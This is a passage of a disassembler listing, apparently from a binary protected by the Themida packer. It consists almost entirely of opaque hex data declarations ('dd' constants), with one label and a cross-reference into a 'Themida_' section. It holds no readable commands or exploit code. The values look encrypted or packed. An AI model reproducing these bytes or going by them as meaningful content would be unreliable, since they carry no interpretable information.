2EFF0F56h dd 0C30030CDh, 0DFD420D3h, 0E0037503h, 0F01A35F3h, 3AEA4FAh dd 85E82177h, 8EC86410h, 63000F08h, 3C69D35Bh, 3495E1h dd 3D882D47h, 17509C6Bh, 0AAA4A00h, 0F98EFBFDh, 2CEE00D1h dd 36695C6Ch, 4103818Dh, 0A57443DDh, 0FBFEF0B2h, 0FA850F31h dd 2A80C219h, 0FD084698h, 21C73207h, 18002FF8h, 600C4B44h dd 77BA5967h, 4801306Ah, 6B5407F9h, 0A080E6ADh, 3B6E55FDh dd 950E77DBh, 49F5E078h, 21268326h, 0A4F904Eh, 867A1D49h dd 0C00C4373h, 180371EDh, 5EB90159h, 0D7B0003Ah, 2F1E2915h dd 0C007331h, 22713560h, 3EEA4Fh, 2A83AD7Fh, 3F211775h dd 0D9CC4D00h, 25328B9Fh, 0DBDF2495h, 642400CEh, 561B0EBh dd 7DD79C07h, 0DE10F60Eh, 0AB589Ah, 42B50C46h, 19C5F94Ah dd 9CB85900h, 9E408043h, 6EFE1DBBh, 1E5F806Dh, 8FB41FBEh dd 0D72EB1F8h, 5801FAEBh, 0B91A028Eh, 1C17ECF8h, 80BE736Fh dd 0DB5D85C3h, 88003195h, 349CC1AEh, 0AA70BFh, 90FB9B92h dd 1360F0D6h, 0EB6948h, 795D7174h, 7CBE6812h, 0B3D700A3h dd 0FF86535Ah, 721E31CEh, 0EC0F249h, 0E557A9A7h, 7AB0006Eh dd 0E3053474h, 0BC0024C3h, 65DD1C1Ah, 93A8BAh, 0F25DC7CEh dd 18D3B621h, 48CF5503h, 0D8941CA2h, 0AA7420h, 1972D5FEh dd 0BA4CD65Fh, 0A6447100h, 253DD32Fh, 0A7760206h, 0F7B1DCD8h dd 7AA82F63h, 2D09F322h, 664D5Bh, 0CCD0A5C4h, 4AAE01DDh dd 0FB12D9C1h, 0F40BE11Eh, 500027FCh, 0E2258997h, 0ECB38Eh dd 20619CD2h, 0F7C41E52h, 0FA9F9B00h, 4E9016F0h, 0DAE90002h dd 989C486Fh, 1400DCA5h, 0B0EA0B44h, 9A94CBh, 956F23D3h dd 9878C7ACh, 5D0EC4F6h, 406B61A9h, 0F40E4C5Fh, 44460072h dd 0E17B8869h, 62011AB0h, 0B35CD06Ch, 59F45627h, 915E000Bh dd 7DADFE32h, 36007696h, 9D837A40h, 0E46F6AFh, 0DA5FCD7h dd 0BEC2C74Eh, 0D380156Dh, 2592FD37h, 23B09D00h, 843B503h dd 0C65C00C5h, 1A16400Ah, 4600B6B2h, 7BAD2093h, 993B8Ch dd 3222DD0h, 0FEAB912Ah, 811E193Ah, 0B77602F4h, 8C504998h dd 244124DBh, 71660Ah, 0FC4A117Bh, 96786E9Fh, 8FDE1E3Ch dd 0C01029E3h, 0A09A7E5Bh, 9F6400B8h, 14FC79DCh, 0FB003C0Bh dd 0CEF962B3h, 7868B59h, 827C6C12h, 48DE6322h, 5E40D000h dd 0DB2AE915h, 0E3C90097h, 1178B32Dh, 0A200726Bh, 0C8C0B841h dd 0E8D5D6h, 1067699Dh, 1E7E87F9h, 0A6EEA501h, 9FDCAA56h dd 3F467AD4h, 65851455h, 0ED9701h, 0B68CC984h, 100773FAh dd 456FE875h, 0F3E483E0h, 0B14C003Dh, 6935C73Ah, 813A075Fh dd 0A0258073h, 752D4E37h, 0C6CF3DF5h, 1700F2BAh, 0DE4F8CA7h dd 8100C89Eh, 7E7BBF47h, 14F1D7A5h, 0C8FA79AFh, 21782D00h dd 0F534DBE6h, 0ABF6DA00h, 64C9107Ah, 7A897588h, 0C86607D4h dd 5478AACEh, 922801Ch, 870095C3h, 0DC5EDAEh, 0B1BEAh dd 898D74A4h, 66E8C4E3h, 49FBDF00h, 0AD19B9C2h, 5530240Dh dd 0B83C9404h, 0B75411C0h, 731D7E4Dh, 0C800D352h, 165EF667h dd 201701A4h, 1D4E0BC4h, 8AA3D896h, 919B7731h, 0D050F058h dd 0F6EE42C2h, 676C00EDh, 2C15A3ABh, 1F006E9Eh, 760AF87h dd 78F327Eh, 851CA92Dh, 7CACB0DBh, 0C00334Eh, 0A6627B6Ch dd 97214BBh, 0A9805EDAh dd 0BD8B4420h, 2A309686h, 581B79FAh, 81E92CF7h, 0C4100FBDh dd 7E00B7CEh, 0ED35D491h, 0D05A9E03h, 0C3B80Dh, 9949B2BCh dd 23103FF6h, 0AC110613h, 0B0C8BA00h, 12BD0793h, 1C403CB1h dd 0FEB84374h, 38014C17h, 0D10EDCA7h, 36F8220Bh, 0D77007Dh dd 0A02B6F3Fh, 7A004549h, 469DC658h, 5F985Ch, 82BF0AD0h dd 50A6D992h, 8C4B953Fh, 10DBECA1h, 66F53C37h, 125F4485h dd 0C300FB2Eh, 118D3417h, 0F596264Eh, 83BA02C0h, 0B0609855h dd 26004DDEh, 0DC73B0E3h, 0EC3BDBh, 73E99E9h, 64EE0BE1h dd 4D322902h, 8365FE0Dh, 0E087FD9Ch, 1A582D9Bh, 0D0A19CC8h dd 0B5080260h, 548DAE0Eh, 0C81E019h, 0FE6979h, 62887DC9h dd 9B3B51A1h, 0E166D00h, 0BA66768Ch, 0D4B009Eh, 8B291CE0h dd 2E079D31h, 5078D854h, 0ACFD0270h, 20E50168h, 6972B1F0h dd 0FAF0A43Eh, 2D716300h, 0BBE310h, 0F24635D2h, 26F9A476h dd 457B977Dh, 0B0A8D812h, 8803FA00h, 1DAF407h, 2325F34Eh dd 20B8725Bh, 0E41E2408h, 6D4470DFh, 3D00CDAAh, 145D2FA8h dd 0E17E11CEh, 0CEAF9A49h, 5820A500h, 15A4D000h, 0CF8C28B6h dd 0D4D309EDh, 0E080DEACh, 70BAC2B5h, 0E500D27Dh, 0CA1226E9h dd 68EDB7h, 43B029Ah, 6E825386h, 0F08B8D04h, 8CD011B4h dd 0F978129h, 2F9DE95Ah, 1860E334h, 2AF0537Eh, 13AE014Ch dd 250ED21Bh, 0B4CB201Ah, 0A0C222D6h, 88B261D4h, 0ED00E125h dd 0C4500741h, 45DAFCh, 1FD6AD27h, 9B5851D8h, 0A7524D0Eh dd 6FBC085h, 728BC72h, 20EE2922h, 54CC0AEh, 0CD0021ADh dd 0F6D24A7Dh, 9CBD96Dh, 62AC2EBAh, 0D00098DEh, 0CBC0AA3h dd 86B53E33h, 0A42100F2h, 63ED3256h, 7E034BC4h, 6FA7FA52h dd 0ABCFE0A1h, 927970h, 7648395h, 0D4811AF8h, 6B458E03h dd 0D2040569h, 30D54067h, 35470F6Dh, 78401624h, 0D78E0F60h dd 0D2A02600h, 0C8FDEF0h, 52530F1Bh, 7687CE01h, 5C9803FCh dd 701907C9h, 0FE0086CAh, 0A8A6B292h, 3C599CEh, 0F14C212Dh dd 0B9C89EB0h, 0BC07FC02h, 35896817h, 809B3290h, 0E9570047h dd 0D388013Ah, 71009C52h, 0E2CD8EBFh, 0E0CAE8h, 0CEE689Eh dd 45AE558h, 0B9A77100h, 0BB4B4FD0h, 0E29820h, 0EA887F5Eh dd 0E6B81496h, 0F4701D00h, 7975608h, 2A1B28A6h, 91D803E0h dd 1A584C31h, 97F759B8h, 362D6907h, 6AE0F5AFh, 9A6E9A1h dd 5FB08F0Bh, 0AE5C4418h, 9F02D50h, 4834AA00h, 5C15A9Fh dd 50F4141Bh, 0FC121056h, 0A4340002h, 0BA7D28Bh, 80162730h dd 74EEE93Eh, 0E5EB0B2Eh, 2C0F0EDEh, 0C1CD968Eh, 6D16E0A0h dd 40437100h, 1D117075h, 7A8D189Bh, 0BAE4219Ch, 21381CA0h dd 3E14E118h, 0EEF908h, 60E46E50h, 53AAB5F8h, 0BBEC2B00h dd 8F0DCDFDh, 25290071h, 9AE8E4Eh, 0EE00FC2Ah, 56EB6E07h dd 0E220F330h, 615E01E6h, 0D00A9C96h, 0CF5C53FFh, 6EB0B7C3h dd 1B003971h, 0FE2001FDh, 19561C5Eh, 991047FBh, 0D1B08054h dd 0D209310Eh, 23A8004Ch, 0DB37BBA9h, 0C40332EAh, 0BAB51BBEh dd 0C3B7E038h, 7F5100C7h, 39D562FAh, 0B300404Fh, 3C838580h dd 12BAEDEAh, 0ABD08Fh, 2C2813E0h, 63008069h, 0F8BC92E3h dd 0C9846Bh, 29768A5Eh, 642ECA6Dh, 87036F00h, 1021F482h dd 0A0ADEE65h, 0A75AACh, 0A4630CF8h, 0F51A7D88h, 416F4300h dd 228F0E09h, 72AE0AF1h, 80BCC53Bh, 0BCEFE72Dh, 0AF30CC4Ah dd 776BE8CAh, 0E1A7FE3h, 0BAA9B958h, 61327CA0h, 0C33ECCF4h dd 5FF8E1D0h, 79D743F6h, 779D8828h, 0FA133900h, 3688BDEEh dd 8096000Dh, 7951039Fh, 6100043Ch, 0CF499C9Dh, 7A122B62h dd 0BE9100E6h, 0F697967Ah, 631D036Bh, 28CE276Ch, 0DB5D2060h dd 98DD91h, 6A737C8Eh, 0AF22134h, 0FAF628F2h, 40F09600h dd 0A4A10736h, 77FB07E5h, 6F709A9Ch, 257E2320h, 245878FFh dd 0F44603BCh, 0F9A22AC5h, 8440D42Fh, 2794BD7h, 0A1C8F64Fh dd 0DC60C5C6h, 5B2EA838h, 290E3C91h, 0B6654060h, 1B01B95h dd 0D2DC9FABh, 20BAB19Dh, 66007BCCh, 73B840Dh, 77E1D1F7h dd 0C8A7009Ah, 5F4AF3E8h, 0E9016736h, 6263B871h, 57C8F72Dh dd 146B2638h, 0ED0039AAh, 5A30DFFCh, 0C1007992h, 1809FF7Fh dd 0E628BD4h, 0A8887051h, 8C679380h, 0BB7F406Eh, 0FB0048F4h dd 0DDE80692h, 3A3A94A8h, 1B00EF39h, 75E44903h, 0E5B8795Dh dd 2226B3Fh, 41C535E0h, 3480A01Eh, 2C791949h, 0D48A8Ch dd 42973B4Fh, 8700C1FEh, 80044814h, 25411Bh, 0CAE5B151h dd 0F95468ECh, 0E94D3400h, 0AA699886h, 0E36A01F7h, 2FC35956h dd 42E4D484h, 6302A9F0h, 0BB3DCBC0h, 0ACFDC07Eh, 0F58200DBh dd 159B2E4Ah, 0FA26FE7Ch, 0CB0EC09Ah, 711DC13Eh, 4DD03B81h dd 0AB7800DFh, 0C46D1B59h, 0E6F8955Ah, 3F50C000h, 717FB626h dd 76200048h, 2164370Eh, 0B3B4DB8h, 9F0C1D45h, 20C04B40h dd 0C9003C1h, 0B70235DCh, 0BA127E50h, 34005ED1h, 0F32584B9h dd 48531C33h, 0AF0F8E41h, 0B50C44E1h, 1566C05Eh, 8C7E6300h dd 0BCBDE631h, 0D36F0087h, 74919455h, 0CC00B27Bh, 3C30D219h dd 96CD22h, 4D3EF8Fh, 60524699h, 165C9100h, 0F130F8B0h dd 0C1D802EBh, 0ECB74A6Dh, 5E95C4C8h, 0CA8C84A0h, 2CFA510Ch dd 65A067h, 0F745C831h, 26F3398Ah, 9E16C414h, 62330084h dd 41244B7Ah, 5CE5007Bh, 89BD5545h, 0F700AF23h, 7669AC93h dd 28265479h, 3D0CA0Bh, 2364950Dh, 0C7A4588Eh, 0A1600F0Ch dd 0D475A27Ch, 2C00C572h, 1CB944D8h, 3D18F7h, 0D93403C3h dd 7CF32E6Bh, 249A5702h, 0D6814A44h, 0C7813E83h, 0A025E9FBh dd 0E836D43Dh, 85596F00h, 12F51E5Ch, 0B6A1A0B8h, 1879E0DDh dd 2081F3EEh, 41713FF8h, 9D7EC107h, 4339924Dh, 28A4ECC4h dd 0F0052E25h, 0FCA0054h, 5D6806D2h, 71151602h, 771F1B34h dd 8DB3A640h, 9A300D00h, 5CA23DCAh, 2DE4A039h, 0DB13041Ch dd 0A010ED1Bh, 5D0FF44Ch, 80070A6Ch, 83784B86h, 4CC4CE5h dd 2A20309h, 28027064h, 5876A70Fh, 3BD840B3h, 6443A14h dd 2AA8D900h, 0AE876916h, 0DE68E84Ch, 0CCD50C00h, 0F0C379E7h dd 8AFB0099h, 826B3085h, 7807DD3Ah, 5EF492EBh, 0E07A0B30h dd 4E1D0004h, 0E8F6DCA4h, 0CB05A95Ah, 7858F906h, 0BA199880h dd 9D3E00C0h, 0FB45F3B9h, 9E074A2Eh, 36B4B267h, 0DA0DD270h dd 0C8790068h, 916CBE32h, 0CD005255h, 0E5D5C050h, 0C05EE4A9h dd 10AA4810h, 0B90F0664h, 80704EF7h, 1C909124h, 0E84F7E5Bh dd 0BEC70E48h, 6D8FBA36h, 89C11DC0h, 0D412ABA3h, 94494C22h dd 1288109Ah, 381400C0h, 0F001E369h, 450E96D7h, 20FD30DEh dd 0F6CC8DD9h, 0F88C00E1h, 2E820529h, 0B2260C58h, 4000A4FCh dd 646DFDC1h, 809053h, 8F0508BDh, 7D54B27Ch, 0A9426600h dd 96F49112h, 0A2ED1EFBh, 4768C3BFh, 5FAAF0AEh, 0C5071C52h dd 73DF547Fh, 0B500B46Ah, 2D775C9Eh, 4D10CEC7h, 9AD878C0h dd 0B324A8D4h, 6000C9Bh, 57C9210Fh, 2DDC03C0h, 0B0875EDEh dd 30A89691h, 0E71E6EF3h, 0A52C7Bh, 7F0D2BCh, 0C84050D9h dd 0ACEAA0h, 0ABC4D0BEh, 6A1C638Dh, 693DE3F0h, 744B008Ch dd 5B98B98Bh, 0FBF6F5h, 0A19CD165h, 50A57AAAh, 1CD35D0Ah dd 0A60997F0h, 191D0212h, 2DA49198h, 0C06193E1h, 2C1470D6h dd 1781869h, 4F5559FAh, 0A0A43C88h, 1E1C0940h, 0C0D5582Bh dd 4318A7CDh, 6E007033h, 0A4F5E6C7h, 11CB047h, 29C2B65Ch dd 3401E82Ch, 3D2CF244h dd 3F0EBC33h, 82582011h, 1DA88A9h, 6BE1079Dh, 614C2EAEh dd 0C2AAFC13h, 9BD99600h, 0E5F8F0EDh, 689F6448h, 0DEAFC0D6h dd 0AB0032BDh, 1FB1B9E4h, 663F95h, 0EF8683CAh, 625E26F4h dd 0F2E01804h, 8D1BA6Fh, 0C02A5651h, 57B876F3h, 9AC5E500h dd 1945EB74h, 21D50FF8h, 0A02D736h, 40D50B22h, 0C0F2CE2Bh dd 0CDC37021h, 0A30DF0C1h, 6676FD1Ch, 55776047h, 0C04066F0h dd 226F4A8Dh, 0E918AF54h, 80D83EEh, 18A5D918h, 2EF009E1h dd 0AD5A006Bh, 45D5B51Bh, 38002150h, 313FBFAEh, 0E90D29E1h dd 4A069029h, 0D9CAD6C4h, 5EF75600h, 9DC2F8DDh, 5F2B0186h dd 0DC2FD4ECh, 0BB6034BEh, 3418F450h, 485FBF03h, 0F15DA8A7h dd 1440D62Eh, 0B8C178C3h, 3850EED8h, 2A8020ACh, 0F82BB2FFh dd 0CD005A76h, 0D560E93Ch, 7023E8Ah, 734BFC30h, 0F405000Bh dd 4C009357h, 51953B9Bh, 439778h, 561A1F67h, 77F1F9C2h dd 338BF00h, 0FABDAB7Fh, 4CB20060h, 4A1B55A4h, 3C07C228h dd 8C0E5251h, 0B3229210h, 4E571D71h, 509B00B1h, 0D8F89173h dd 0EB272A0Ch, 0AED9B4h, 84C8C5FCh, 3D55FA72h, 98BB343Ah dd 672008EEh, 0C7920036h, 6F312B10h, 5002DAFh, 0E46DD796h dd 0ECCF62h, 0DF22C7A9h, 78BEB118h, 308C3B54h, 0A861591Fh dd 9745AD40h, 0C0B7D451h, 5D64C879h, 0B800C27Eh, 1ECB6B3Ch dd 18EF32Ah, 0B78B16DEh, 48032170h, 80089C4h, 3D372832h dd 22AAE3h, 0AFE13507h, 0E0812A94h, 0D330F098h, 533861B5h dd 3C511244h, 0CE004388h, 210001C7h, 702F2355h, 0C0BBC9ADh dd 9E6D3069h, 9B00CD5Dh, 0AB8C2A4Dh, 1F603CDFh, 803F0CA9h dd 7CB0B90Ah, 8100832Eh, 4B6639F3h, 32ACC7h, 5F1DF284h dd 6EA3EA8Ch, 21083B00h, 0AD758180h, 59050072h, 0B115C649h dd 0DA073E93h, 0EB56BAA9h, 6785A310h, 7B300053h, 2DDB697Ah dd 77002CF2h, 92C07214h, 74D649F0h, 41B083h, 69745CB2h dd 0A7C5A390h, 43B7F716h, 556D0105h, 26373680h, 1B9F007Bh dd 53234133h, 341744C3h, 0C8074FAAh, 0DC80D377h, 1E192986h dd 1C5B0A02h, 0F1CEC039h, 0DEB4C2DDh, 83CBA300h, 33703B42h dd 34DCED8Ch, 65753052h, 9BBA310h, 1DB58400h, 0A980BC46h dd 0C5950744h, 0E0327A0Fh, 3F4117Bh, 5F2E3D0Eh, 0E9545E3Eh dd 86210090h, 0E709E170h, 1D6F054Ch, 0C0753FFDh, 5126BAD6h dd 0D9E86490h, 6F5B0901h, 0B410FC65h, 0FE3F788Eh, 0A754BEC0h dd 1B007B35h, 1FC50B1Eh, 0EC7301h, 38FDF03Eh, 2885DA84h dd 7109970Eh, 73868189h, 0C1C8462Dh, 0C6403A6h, 0DC21785h dd 80B058A1h, 2DBECA20h, 90ECF38Ah, 89363C01h, 430A6480h dd 0FA95A5DCh, 9007CE2h, 9E4F8AACh, 0E8D5097h, 73623F99h dd 68A600BEh, 0A4F03984h, 91F297Ah, 0BB8C60BCh, 3A32079h dd 9F5A80D2h, 0B9E8B190h, 0F701544Fh, 339E3DDCh, 0F8EB3E76h dd 0C003BFB6h, 63A98DB9h, 0A160B219h, 3DFBF711h, 93160161h dd 0A30E0325h, 0BEEAD11Fh, 20928521h, 8800F883h, 85ADEFA4h dd 0AB4A18EDh, 0E4CC077h, 8E745F01h, 0B4267B66h, 2E187087h dd 0E1887C95h, 0E7189F7Bh, 0FA1021BDh, 0A929005Fh, 0C7EE7230h dd 0E4634D45h, 0B8ED058Ah, 1CD6EB91h, 41184Eh, 0DCD2E23Eh dd 4F397ABDh, 648E007Dh, 746A5D6h, 9D84000Ah, 0CBADF519h dd 4F722A3Bh, 81B15C3Ch, 235A4742h, 9EF0B572h, 86FE00F1h dd 2141CAACh, 4E0516EDh, 9A742C48h, 9535D000h, 169D332h dd 96343701h, 0DC5D827Eh, 9000F79Ch, 2557ED4Ch, 0C01F3591h dd 1E37388Ah, 0A001D31h, 0CC28F187h, 3D6419Eh, 8F10C989h dd 84F8E24Eh, 2C7C0FEFh, 167ED91Fh, 3F8DDC1Fh, 0EDF818BFh dd 86DE03F2h, 0BF05534h, 0AFC0F3F3h, 9A03B8B3h, 0FEE2083h dd 0EF4981AEh, 0E03D2080h, 0DD37C49Fh, 285328C0h, 64DD48Ah dd 46B1F24Fh, 0B370844h, 2E1120E7h, 83F84E8Ah, 60E37188h dd 0E4F318F0h, 0BE5C61A2h, 25FF0FA2h, 691C6034h, 547323h dd 8156A909h, 2C8D68EDh, 0BF94CB0Ch, 0C95B882h, 0B429F15Ch dd 4F00DE48h, 2C2E7746h, 31D28D09h, 40087A34h, 0E920805Ch dd 9B9076BFh, 0ECE300DCh, 0B3FE1F48h, 0B10026C1h, 3770D31Dh dd 0CE7A52h, 3150773Eh, 5FE4D1C8h, 71AD4F00h, 222DCFCh dd 2A841DC5h, 47E00044h, 86BBA6D9h, 0FC1E8AE6h, 26C3F114h dd 0C3CF2C89h, 46EE0092h, 0A8CEF727h, 9D01FD33h, 993DE7E9h dd 0D7F7E6DFh, 0E00DB692h, 73EE4Dh, 0F0E7B5AAh, 48DF116Bh dd 0C3D09500h, 1C519A16h, 0F8F43ED9h, 2BEB7F05h, 0B0E50056h dd 0F6B70B8Ah, 568080Fh, 0B6007EFFh, 8391C663h, 59AD03B9h dd 0AECE40BFh, 38D68AF8h, 5B60C000h, 2CA86336h, 0E2BE009Ch dd 0CCCD6CD9h, 8CC7417h, 2CD72159h, 70DE486h, 71D33CA0h dd 0C9742FA7h, 8C20833Bh, 0B0D2F98Eh, 0AAEF69h, 0AD867940h dd 387A9BC6h, 9656B000h, 7F6BFCDDh, 7858002Eh, 0C1C83293h dd 0F10915F6h, 6A8D122h, 506982h, 1A04433Ah, 9BEB788Eh dd 83193D19h, 21806F08h, 0F51A0DF2h, 4D07BE32h, 0A05DB505h dd 23224E30h, 0BD93378Bh, 458C201Ch, 99758676h, 0E50710ECh dd 2F2ED46Bh, 8A3FE801h, 9C850B0h, 4503DCF1h, 9F2A22F2h dd 982043DFh, 30EC5FB3h, 7020E7A4h, 0BD0D00B2h, 8450AAA1h dd 231E5D1h, 0EF079945h, 9900D1BFh, 815AB683h, 0EB004AB3h dd 11AC85C5h, 0CD2E9Ah, 9B61743Dh, 3B8DA8C8h, 0BA54FF00h dd 78D98622h, 85100026h, 0E6EF8E44h, 1D0115EBh, 0D12A7C63h dd 47707A14h, 3CAF0371h, 0E37797CFh, 271B00C7h, 0BE03D0CCh dd 3D31BF61h, 0F7789815h, 0E9630059h, 443A12D7h, 401E7D9Fh dd 31C0EC91h, 19E0E5AAh, 568C00A0h, 227C82B5h, 30023EDh dd 4B0CCE63h, 0F183F4Fh, 30B921CDh, 4660E64Fh, 0FCA33DB7h dd 5F2D190Fh, 0E3682EF5h, 0F33CB1h, 17616D20h, 6F42DD7Ah dd 0A2442103h, 800497FCh, 0CD52DAh, 645FA984h, 16B10CFFh dd 15D839C0h, 783EFh, 0C8EAB662h, 0BF10DAB2h, 460FDC02h dd 0C0D63C65h, 3135AEA8h, 0C6392242h, 0B72080C3h, 5B8A6E63h dd 6D110054h, 36CDD9Fh, 2824CFB9h, 231D30FFh, 0A59FEC0h dd 18353F41h, 44F6C81Ch, 0D1F8343h, 307CE0A9h, 7178286Ah dd 3F8A094Ch, 230F1524h, 0A743D180h, 4D602C67h, 0D29C9329h dd 7E13906Bh, 0D74F00A9h, 0B17B4103h, 520E4735h, 3DB7D65Eh dd 39701C8Ch, 0FC4403AFh, 7978B611h, 0E54BA7C9h, 9E3E700Ch dd 57DA3C03h, 0B81C0848h, 2FFB05h, 0DC62292Dh, 0CEE9B4C6h dd 83960303h, 0E08D076Ah, 410827h, 0E7AACDC8h, 77DAE1D5h dd 984AB500h, 0CF052B93h, 0C40C089h, 32E20E96h, 0A6825406h dd 3188AB1h, 5C88E0A4h, 1EE160D3h, 36508A7h, 0F2319629h dd 697C3446h, 44870B00h, 1AE0CE73h, 2EBF00F3h, 58506E94h dd 0EC603442h, 0D9414980h, 9B33009Ah, 6A3294E1h, 7185F71h dd 702A5EB1h, 62C81E6Ch, 0CD61CA02h, 83B51C9Eh, 33D48847h dd 8B17EEF0h, 0C50C2300h, 3ADA1F05h, 719101E1h, 1280D082h dd 52F6E033h, 5AF9D600h, 9FCC10ACh, 4D3D0397h, 7EB69E1Fh dd 0AD9A48F0h, 7486340Ch, 14346E2h, 0D76918C0h, 80E349EFh dd 0EA9B2F09h, 12A3DAh, 134BB5C0h, 43F822ACh, 70E55400h dd 4F9F5BBAh, 4847E5AAh, 1470930h, 3DBE00B5h, 962BF01Ah dd 7E061F56h, 3C532873h, 170801A0h, 0EC8729F5h, 0CC91E0EDh dd 303D657Ch, 0DDBB0056h dd 37D5E9E1h, 117B09Ch, 99BE83F6h, 80F568ACh, 0E15878DEh dd 0F3EBFE7h, 0B0FD2BA8h, 0ABEDD1E0h, 2A580A37h, 0CB1600A0h dd 0DBF42969h, 805D012Fh, 98F3BEECh, 7C169EB3h, 57406CDDh dd 523AB928h, 0AC370039h, 1E9892EEh, 0B37947CBh, 0E03F3807h dd 8917378h, 5880143Bh, 6ABD8AC5h, 0B9F43010h, 0E900A3FCh dd 40B660C9h, 6C3685DBh, 2730603Fh, 39F1951Ch, 0CE4911F0h dd 41F700D6h db 31h, 6Dh, 0F3h byte_5280C7 db 0F0h ; DATA XREF: Themida_:00562C83o dd 91E857C1h, 6BAF21C1h, 4D84842h, 2183006Fh, 977FB29Ch dd 0D618431Eh, 0B981F9Dh, 1691C33Ah, 0F2B0C3D1h, 0E400DA78h dd 0E1FBC279h, 30A6E8h, 88EA70EBh, 24DE808Fh, 332F98C0h dd 1F0B5B8h, 126972E7h, 0C573B4B3h, 706CE540h, 0AE008F6Fh dd 0D0088E3Dh, 7B302BBBh, 2F360029h, 81E0E445h, 69F2323Fh dd 6E417300h, 0D1592A96h, 0AB4F1C35h, 9261813Bh, 0EC3DF6CCh dd 6924E817h, 803D9CEAh, 3A757A23h, 0EC37C6h, 64CFBAFFh dd 9DD145Eh, 9F4EF900h, 0F24AE5F0h, 0ABE80005h, 0AFC5D316h dd 700A538h, 0A7418E74h, 6B403Bh, 0F0C9F763h, 0AF862A44h dd 3311EE01h, 981C7CD8h, 7A002C7Ch, 0EAD29A9Bh, 13005D3Ch dd 0BFB9C920h, 40DC6Bh, 697FBDFEh, 2A46A993h, 33B07001h dd 0B8F11A41h, 0E8CFB7F0h, 0C321C05Dh, 0BC1E2D3Ch, 0B4799D00h dd 0E34A3B99h, 5D73001Ah, 0BD13A7D2h, 46B0FCD5h, 0BEFA1500h dd 779F19D4h, 4375CCh, 0A3676A6h, 28458993h, 8316710Fh dd 216D63FFh, 4426F906h, 0B6A42087h, 68C73037h, 5A004CB0h dd 0B1B834B4h, 394574Ah, 6C7E69A9h, 4BE0F8DBh, 7A0CEC5Ah dd 403EB1B7h, 7C4B8A9h, 0F621701h, 0EF4ECFB6h, 3422B320h dd 50B7ED8Ah, 0AD8C073h, 0EFF4973h, 42301B01h, 37D1135Fh dd 90022FD0h, 71CC30AFh, 401AB920h, 0CB34E400h, 18241BCFh dd 66BB0E67h, 0E998EBA0h, 286AAA4h, 166E372Ch, 0FA19060Bh dd 8C67A980h, 252C7D28h, 1802B3EEh, 365E192Eh, 0E5D08014h dd 0C079AE92h, 2AC2EF10h, 80012B32h, 0A12CF382h, 0CDCC099Dh dd 20540178h, 0D797DEABh, 0F324DCF8h, 48BC1700h, 7566C01Dh dd 0AD8C0058h, 0C45E6307h, 9C00C31Bh, 0B365EFA0h, 0FF1679h dd 0F2D5FE2Ch, 0BB409A3Ah, 914FA807h, 4B40FCABh, 37C8A17h dd 64C8349h, 0EFA19E92h, 387AE860h, 7DFC6D00h, 1017D96Eh dd 6CF4B4h, 3A2EE5A1h, 0CC4F89C5h, 0BBD6900Eh, 4206E588h dd 0FB0367C0h, 985500A2h, 0E0BC256Ch, 0A728EE4Eh, 7400B9A3h dd 0E86B2399h, 0DF617Ch, 0F9662AE3h, 65352DB3h, 54128D1Fh dd 0A50B25C0h, 3C4ED49Dh, 4C807406h, 7EE12448h, 6A00E73Bh dd 167CF54Bh, 0B2E5BEh, 0F96BAE58h, 4D24731Eh, 5F31791Eh dd 2809B700h, 0CEF045h, 447B5B5Dh, 437D7F6Fh, 0ED3A3B00h dd 3287F89Ah, 0FF4A0740h, 0ECA0D36Ch, 4B00B319h, 0B1CEA137h dd 3D787F70h, 4280D95Ch, 3D3F58E4h, 8706A7CAh, 0C483A4F0h dd 0B4A8C438h, 4A6300FBh, 60705EBEh, 72329062h, 2100A3F7h dd 9E1B0BDFh, 0D46FDh, 4BE2CC8h, 79BA4B78h, 0BFEE9A16h dd 0F02FB1Dh, 0A0E8DF08h, 0C69D0994h, 77FE0059h, 4A700535h dd 0E4FC9425h, 0B11DFD00h, 0F03CD848h, 78BE0F3Dh, 1A0FAB13h dd 7E424C0h, 0E33BD471h, 95BB074Eh, 0EC4EE6CEh, 7FA2079h dd 0D24B727Fh, 40976770h, 4ADC453Ah, 128E40C2h, 9235E047h dd 5EBD00C4h, 0E507C808h, 1C07EA49h, 97F9B387h, 4CA00207h dd 0FEF4BA17h, 0CCC00A7h, 7A4424FCh, 0F203FEBCh, 0DBB7F154h dd 2E0918F9h, 35CD20E6h, 73C5F807h, 1A802A74h, 4F6627h dd 18F40E25h, 6DAEB1E1h, 0C9CB531Ch, 6F239C41h, 35E882DAh dd 480F062Eh, 5026783Dh, 0FB981F07h, 200C45D3h, 43EA0A66h dd 8C88443Dh, 0F09916CCh, 3B787407h, 0DE43AF64h, 9C480017h dd 5E8DD429h, 200688CEh, 0B944A915h, 5D840341h, 0A07DD557h dd 89B131A8h, 1F266E72h, 870FB7EBh, 0FEDDA056h, 0EEFDE9F4h dd 18BE0144h, 0F0CC959Eh, 817EF887h, 0F19C1A00h, 0BEB6540h dd 0B28E00A8h, 82EC39B8h, 3C02E3FEh, 3EF0E5D7h, 9068C390h dd 3D149E8Eh, 0F783AC29h, 0E3D79F2Bh, 0F52A2000h, 0C06DA872h dd 93E831h, 6EFA83D2h, 74753EEh, 5A8D0400h, 0B205E3ABh dd 0CFEA003Ch, 0CA23D377h, 0D1079192h, 765C57B1h, 96D58049h dd 7EDC66h, 9B21E785h, 0CD380A6Ah, 27935000h, 568F8A7Dh dd 7065007Fh, 14ED6F7Ch, 210054E4h, 0DBBBB801h, 1D2B37h dd 0EE4B8648h, 0E5227F88h, 0FF96DD00h, 0EB1745BCh, 8B8C07E0h dd 0B5162Ch, 5F4B57A9h, 494C0509h, 24F08C92h, 3E6A607Eh dd 93C6F52Eh, 0B18E7C00h, 0BCC153EDh, 713F0052h, 99B083C9h dd 2F3C4B5Bh, 82930021h, 5232F672h, 169F0173h, 0A66DA42Ah dd 0C65DC74h, 0C70B5900h, 4318CA94h, 0EE0100FBh, 9D278298h dd 2C1F9252h, 1500471Dh, 81798525h, 23B90074h, 0AFB7EAD6h dd 4000CE56h, 6813C535h, 0C84AAAh, 5A8EA40Bh, 0D21E2A59h dd 0C399EC00h, 0F38432BEh, 2E830101h, 0C5333B75h, 0E18030B7h dd 0BB6AA33Fh, 60F2BC3Dh, 0CD62AC60h, 7E8E00E5h, 55BADD04h dd 0E861A2E0h, 81A59A20h, 11C43561h, 49C500E3h, 3D64855h dd 2A0038D0h, 0CF047637h, 78251F9Ah, 2EE30022h, 0C0E236BAh dd 18A04461h, 3FE2B1DEh, 57047400h, 2AEA3B6Dh, 5D6A19FBh dd 0F401719Fh, 0AC3339A0h, 985C48BEh, 2161CB06h, 4988BF5Fh dd 11F1FD0h, 979B8312h, 0E1E830ABh, 0F115E900h, 